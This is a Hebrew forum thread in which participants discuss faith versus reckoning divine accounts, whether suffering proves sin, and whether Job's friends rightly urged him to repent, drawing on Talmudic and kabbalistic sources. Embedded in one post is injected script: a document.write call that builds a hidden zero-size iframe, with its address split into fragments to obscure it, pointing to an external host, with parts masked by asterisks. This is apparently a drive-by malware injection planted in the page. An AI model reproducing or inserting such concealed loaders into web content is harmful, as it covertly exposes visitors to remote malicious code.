ומצד שני כתוב בשיר יה ריבון עלם "לא יעול גבר בחושבניא" כלומר אנחנו לא יכולים לעשות חשבונות שמים
אם כן שייך לשאול מתי הגדר הוא גדר של אמונה
ומתי הגדר הוא גדר של חשבונות שמים??
נראה לתרץ לפי מה שכתוב כל מאן דעביד רחמנא - כלומר מדובר כאן על משהו שה' ית' עושה.
בזה שייך גדר האמונה, אבל כשמדובר במה למעבר למה שה' ית' עשה (מלשון עבר דייקא ודו"ק) בזה שייך הענין של חשבונות שמים.
לכן כל מה שקשור למה שה' ית' עשה או אמר אז זה גדר של אמונה
אבל אם זה לא קשור למה שה' ית' עשה או אמר (מלשון עבר ודו"ק) אז זה גדר של חשבונות שמים
לכן ההבדל בין אמונה לבין חשבונות שמים זה כמו ההבדל בין התורה לבין פילוסופיה.
חכמת התורה מיוסדת על מה שכתוב בתורה ופילוסופיה מיוסדת על השערות מסתברות.
נשלח ב-22/9/2011 16:24
שותפיסוד כתב:
מסורתי,
ברשותך אנסח את קביעתך בצורה פשוטה יותר:
לגבי אירועים שנעשו בעבר האמונה בצדקתם מחייבת לנתח על מה ולמה נעשו (לפחות לנסות).
לגבי האירועים שייעשו בעתיד יש את האיסור לחשב חשבונות שמיים מה מתי ואיך ייעשה.
וזה ההבדל שאתה מציין בין חכמת התורה שעוסקת בהתאמת הכתובים (שאינם עומדים לדיון, והם דומים לאירועים שכבר נעשו) בעוד שהפילוסופים שעוסקים (או עסקו פעם, כהערת מיימוני) במה שצריך וראוי להיות מכאן והלאה.
ניסחתי את קביעתך מחדש כי נראה לי שהחברים לא הבינו אותה. אם טעיתי- אני מוחק את דבריי.
תודה שותףסוד אכן זו כוונתי!
אלא שהוספתי שבשביל לנתח את האירועים שנעשו בעבר צריך בשביל כך ידע תורני
חוץ מזה שאנחנו יכולים לנתח את מה שעובר עלינו ולא את מה שעובר על אחרים (אלא אם כן אנחנו מזהים את מה שעובר עליהם בדיוק לפי מה שכתוב בתורה - וזה לא מציאותי)
נשלח ב-22/9/2011 12:51
האם בתשובת המשקל של רבותינו הראשונים אין פירוט ענשים או לפחות תחליפי ענשים?
נשלח ב-22/9/2011 12:47
מיימוני כתב:
שנית, טבלת עונשים מדוייקת על חטאים לפי נפש החיים.
כל אחד מהם ראוי לאשכול בפני עצמו.
אני סבור שכדאי שתתחיל בשני, באשכול מיוחד לכך. הנושא קצת מוכר לי ויהיה לי יותר קל איתו.
אם הבנת מדבריי שאפשר להגיע לטבלת ענשים מדוייקת הרי שזאת טעות של אחד משנינו.
אני כתבתי-
ודאי שיש, ופרופורציה מדוייקת להפליא. השאלה האם אנחנו מעריכים נכון את החטא ונזקיו. עיון קל בתחילת נפש החיים יבהיר לכל אחד את תחילת המהלך להערכה נכונה יותר. האם אתה מכיר או מעוניין להכיר אותו ?
וכוונתי היתה שנפש החיים מאפשר לנו להבין יותר את היקף נזקי החטא (ע"י שנכיר את העולמות העליונים המושפעים ממנו)וממילא תצטמצם עוצמת הסתירה לכאורה שבין החטא "הפעוט" והעונש "העצום".
בכל מקרה, אין אני מאמין שיש בכוחנו להגיע לטבלת עונשים מדוייקת, וכל התעוררות שתגיע לנו בעקבות אחד מהם תתקבל בברכה אע"פ שסביר מאד שאיננה בדיוק הסיבה האמיתית. אשר על כן הזמנתך לפתוח אשכול בנושא נדחית בנימוס.
נשלח ב-22/9/2011 11:34
נראה לי כי- האדם העושה חשבונות שמיים. אין בו אמונה!
נשלח ב-22/9/2011 01:42
שותף
העלית שני נושאים על פי הקבלה.
ראשית, שאין צדיק אשר לא יחטא.
שנית, טבלת עונשים מדוייקת על חטאים לפי נפש החיים.
כל אחד מהם ראוי לאשכול בפני עצמו.
אני סבור שכדאי שתתחיל בשני, באשכול מיוחד לכך. הנושא קצת מוכר לי ויהיה לי יותר קל איתו.
אנא הסבר בפרוטרוט את הרעיון עם לינקים כדי שמי שירצה יוכל לעיין גם בפנים. ונדון בל"נ.
בדרך כלל אני מסכים עם כל הודעתך האחרונה, אבל יש לי להעיר על הסוף. גם אם אמר איוב שחישב ולא מצא בעצמו עבירה, האם מותר להם להאמין לו?
אם אתה מסכים אתי שזה לא עניינם לעשות בשבילו את חשבון הנפש, אז מה השאלה האם מותר להם להאמין ? אף אחד לא בקש מהם לצרף את אמונתם לטענות איוב.
האם לא היה עליהם לענות: וכי יש צדיק בארץ אשר יעשה טוב ולא יחטא. למעשה, זה בדיוק מה שאמרו לו. כולל שגם במלאכיו ישים תהלה.
שוב, זה לא עניינם לשפוט אותו ואת צורת חשבון הנפש שהוא עושה. יכולים לעורר, להמליץ, אבל בעיקר מן הראוי שיקשיבו לו בלי הערות והתחכמויות.
הנקודה האחרונה הזו (בהמשך גם לתגובות אחרות) מעוררת שתי שאלות חשובות:
א. מה פירוש "אי אפשר לא לחטוא"?
זה נושא שלם- עולם התוהו אשר קדם למעשה בראשית. האם אתה מכיר או מעוניין להכיר אותו ?
ב. האם אין איזו פרופורציה בין הייסורים לבין החטא?
ודאי שיש, ופרופורציה מדוייקת להפליא. השאלה האם אנחנו מעריכים נכון את החטא ונזקיו. עיון קל בתחילת נפש החיים יבהיר לכל אחד את תחילת המהלך להערכה נכונה יותר. האם אתה מכיר או מעוניין להכיר אותו ? ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
נשלח ב-20/9/2011 23:35
שותף
בדרך כלל אני מסכים עם כל הודעתך האחרונה, אבל יש לי להעיר על הסוף. גם אם אמר איוב שחישב ולא מצא בעצמו עבירה, האם מותר להם להאמין לו?
האם לא היה עליהם לענות: וכי יש צדיק בארץ אשר יעשה טוב ולא יחטא. למעשה, זה בדיוק מה שאמרו לו. כולל שגם במלאכיו ישים תהלה.
הנקודה האחרונה הזו (בהמשך גם לתגובות אחרות) מעוררת שתי שאלות חשובות:
תודה על המקורות ששכחתי לעת עתה. (מה שמראה כיצד סוגיות שנלמדו תורמות את המבט שהן מכוננות גם אם הן עצמן לא נזכרות במודע בזמן דיון בשאלה זו או אחרת).
ואני מוסיף את המעשה בר"ע וחבריו שבאו לנחם את רבי אליעזר שחלה. כולם חלקו לו מחמאות ורק ר"ע אמר לו: עד עתה פחדתי שאתה מקבל עולמך בחייך. עתה אני יודע שכיפרת. תמה ר"א ותמהו כולם. אמר ר"ע: וכי לא לימדתנו רבנו שאין צדיק בארץ אשר יעשה טוב ולא יחטא?
וקיבל ר"א את דברי ר"ע ושיבחו.
(אני תמיד חשדתי שם שהשימוש ברעיון של "אין צדיק וכו' " שנעשה בצורה זו בידי ר"ע היה פטנט שלו ולא של ר"א והוא ייחס אותו לרבו בדרך כבוד, ור"א קיבל זאת).
ובכן, לפעמים מותר לומר לאדם בפנים: עשה תשובה. (אם כי אצל ר"ע לא היתה זו הזמנה לתשובה אלא הסבר שהייסורים באו לכפרה. וזה מזמין דיון נוסף בשאלה על כפרה ותשובה).
נשלח ב-20/9/2011 23:07
מיימוני כתב:
שותף סוד
ברוך השב!
השם יזכנו לשוב אליו בתשובה שלמה, אם נרצה מאד.
האם זו כוונתו של מסורתי? ואני לא הבנתי עד עתה.
כלומר, אם הוא דן שלגבי העתיד אין אנו יודעים חשבונות שמים כלל, בזה ודאי אני מסכים עמו. אין לנו נביאים שיגלו עתידות. אם כי כמובן יכול אדם להכין את עצמו למה שעלול לקרות וניכר לכל אדם, ויפה תשובה בכל שעה.
לגבי העבר, עדיין אני עומד על דעתי שלא ניתן לנו לקבוע מה קרה מחמת מה, ואפילו הח"ח בדוגמא שלי לא יכול היה לדעת בוודאות שעונשו של המשליך את האלמנה היה דווקא כך ובשל עבירה זו. יש עוד דברים שיכולים להצטרף לחשבון. זו אמנם השערה המתקבלת על הלב. אבל לא מעבר לזה.
ודאי שלא ניתן לקבוע בודאות, אבל האדם נדרש להשתדל לחשבן את חייו וכל החלטה ותיקון שיצאו מזה הרי הם רווח נקי.
יותר מכך, האומר למי שלקה: זכור מי הוא נקי אבד אפשר שהוא צדק ואפשר שהוא מסתכן כרעי איוב (שדנו אותו לשלילה שאם נענש הרי זה בגלל שחטא).
מה נדחף פה היועץ הזה ? היחידי שיכול לעשות את חשבון נפשו הוא האדם עצמו.
ובזה אני מעלה שאלה לדיון שהיא חדשה כאן אבל מדגימה את הנושא של חשבונות שמים:
האם צדקו הרעים של איוב בכך שקראו לו לעשות תשובה ושבוודאי חטא אם לקה? כוונתי "צדקו" בכך שעשו את המוטל עליהם לעוררו לתשובה?
כנ"ל שזה לא מוטל עליהם, כ"ש ששם אמר להם איוב שכבר חישב את דרכיו ויודע בודאות שלא חטא.
בכלל הנושא שם עמוק יותר ומסתעף לכמה מישורים של התייחסות לחיי האדם והרפתקאותיו.
נשלח ב-20/9/2011 23:01
מיימוני מההקשר בגמרא ברור שמדובר באיסור לגבי אונאת החבר. אלא שאם נניח שאין יסורים בלא עוון [שזה מחלוקת בגמרא ובפשטות הכרעת הגמרא שיש יסורים בלא עוון] יש שאלה למה לא לעורר אותו בתשובה. וצ"ל כדבריך או הסבר אחר.
למעשה מדבריך יוצא לגמרי הפוך ממה שמסורתי הציע. שאע"פ שייתכן שכן באה על החטא אין לדבר ולעורר על זה [משיקולים של ציעור החבר]
מאידך יש סוגיא הפוכה בברכות ה' ע"ב
:רב הונא תקיפו ליה ארבע מאה דני דחמרא על לגביה רב יהודה אחוה דרב סלא חסידא ורבנן ואמרי לה רב אדא בר אהבה ורבנן ואמרו ליה לעיין מר במיליה אמר להו ומי חשידנא בעינייכו אמרו ליה מי חשיד קודשא בריך הוא דעביד דינא בלא דינא:
משמע שנהגו כן לעורר את החבר להחזירו בתשובה.
ולכאורה צריך לחלק שהכל לפי הענין ומי החבר ומי חבריו ובאיזה צורה זה נאמר וכו'.
נשלח ב-20/9/2011 22:53
יהי אור
יש שתי אפשרויות להבין את הגמרא.
שהרי מדוע אסור לומר לאדם שיעשה תשובה, שאין עונש בלי חטא?
א. באמת לא תמיד דברים רעים קורים לאנשים רעים או שהרעו מעשיהם. הבל נהרג בידי קין (אפשר לומר שחטא בכך שלא שם לב שאחיו כועס עליו, אבל זו לא עבירה שעונשה מיתה בידי שמים). ומאז ועד היום, כולל מיתת המלך הצדיק יאשיהו לאחר שהובטחה לו אריכות ימים ושנים.
בקיצור: שכר מצוות בהאי עלמא ליכא. וממילא אי אפשר לעשות חשבונות שמים אפילו במובן העקרוני, שאין עונש בלי חטא.
ב. בוודאי שהסוגיה מניחה ששכר מצוות בהאי עלמא ליכא, או, לפחות, שעונש בלא חטא ליכא (וזה לא זהה). רק מה, לא כל מה שיודעים וחושבים צריך לומר. צריך להשתתף עם החבר ולא להחזיר אותו בתשובה. ואם כבר רוצים לסייע לו לחזור בתשובה, יש לעשות זאת בזהירות, בעדינות, ברגישות וכו'.
(בספר הכי חדש של הרב סולוביצ'יק יש עמוד אחד נפלא אודות היחס לייסורים ועל כך שאסור לבזבז אותם אלא להשתמש בהם לחזרה בתשובה. הגרי"ד כבר כתב זאת בעבר, איני זוכר היכן - הביטוי על "לא לבזבז ייסורים" הוא שלו וממנו למדתי. הספר הכי חדש הוא לקט של מאמרים שונים שכתב בהזדמנויות שונות, ואני חושד שהוא פחות מוצלח וחשוב מאחרים גם לתלמידיו ואוהדיו, כמוני. אבל המכתב הזה מצדיק את רכישת הספר, לדעתי).
אם היו יסורין באין עליו אם היו חלאים באין עליו או שהיה מקבר את בניו אל יאמר לו כדרך שאמרו לו חביריו לאיוב הלא יראתך כסלתך תקותך ותום דרכיך זכר נא מי הוא נקי אבד
נשלח ב-20/9/2011 22:02
מסורתי
סליחה שלא עניתי לך במישרין קודם לכן. לא הבנתי את דבריך עד ששותף סוד באר אותם - אם הוא צדק.
כלומר, אם הוא דן שלגבי העתיד אין אנו יודעים חשבונות שמים כלל, בזה ודאי אני מסכים עמו. אין לנו נביאים שיגלו עתידות. אם כי כמובן יכול אדם להכין את עצמו למה שעלול לקרות וניכר לכל אדם, ויפה תשובה בכל שעה.
לגבי העבר, עדיין אני עומד על דעתי שלא ניתן לנו לקבוע מה קרה מחמת מה, ואפילו הח"ח בדוגמא שלי לא יכול היה לדעת בוודאות שעונשו של המשליך את האלמנה היה דווקא כך ובשל עבירה זו. יש עוד דברים שיכולים להצטרף לחשבון. זו אמנם השערה המתקבלת על הלב. אבל לא מעבר לזה.
יותר מכך, האומר למי שלקה: זכור מי הוא נקי אבד אפשר שהוא צדק ואפשר שהוא מסתכן כרעי איוב (שדנו אותו לשלילה שאם נענש הרי זה בגלל שחטא).
ובזה אני מעלה שאלה לדיון שהיא חדשה כאן אבל מדגימה את הנושא של חשבונות שמים:
האם צדקו הרעים של איוב בכך שקראו לו לעשות תשובה ושבוודאי חטא אם לקה? כוונתי "צדקו" בכך שעשו את המוטל עליהם לעוררו לתשובה?
ברשותך אנסח את קביעתך בצורה פשוטה יותר: לגבי אירועים שנעשו בעבר האמונה בצדקתם מחייבת לנתח על מה ולמה נעשו (לפחות לנסות). לגבי האירועים שייעשו בעתיד יש את האיסור לחשב חשבונות שמיים מה מתי ואיך ייעשה.
וזה ההבדל שאתה מציין בין חכמת התורה שעוסקת בהתאמת הכתובים (שאינם עומדים לדיון, והם דומים לאירועים שכבר נעשו) בעוד שהפילוסופים שעוסקים (או עסקו פעם, כהערת מיימוני) במה שצריך וראוי להיות מכאן והלאה.
ניסחתי את קביעתך מחדש כי נראה לי שהחברים לא הבינו אותה. אם טעיתי- אני מוחק את דבריי.
